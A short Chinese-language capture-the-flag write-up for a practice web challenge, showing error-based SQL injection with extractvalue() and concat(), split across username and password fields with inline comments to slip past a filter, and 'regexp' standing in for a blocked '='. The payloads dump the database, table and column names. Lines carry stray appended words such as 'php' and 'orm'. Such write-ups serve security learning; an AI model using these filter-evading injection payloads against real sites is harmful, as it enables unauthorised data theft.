題目連接:http://ctf5.shiyanbar.com/web/baocuo/index.phpphp
tips裏面說post username and password...mysql
我這裏採用的抓包,也能夠用hackbarweb
把get方式改成post後,放進repeater裏面sql
構造第一條payload:username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select database()),0x7e)) or'數據庫
這裏採用的函數是 extractvalue()concat() 以及/**/內聯註釋函數
extractvalue()的講解是post
extractvalue():從目標XML中返回包含所查詢值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一個參數:XML_document是String格式,爲XML文檔對象的名稱,文中爲Doc
第二個參數:XPath_string (Xpath格式的字符串)3d
concat函數是返回結果爲鏈接參數產生的字符串regexp
爆出數據庫...orm
繼續往下爆
下一條payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema regexp database()),0x7e)) or'
一開始嘗試 where table_schema = database(),發現waf將 = 過濾掉了,採用regexp(mysql正則)
爆出表
先試試第一個
payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name regexp 'ffll44jj'),0x7e)) or'
我丟。。flag出來了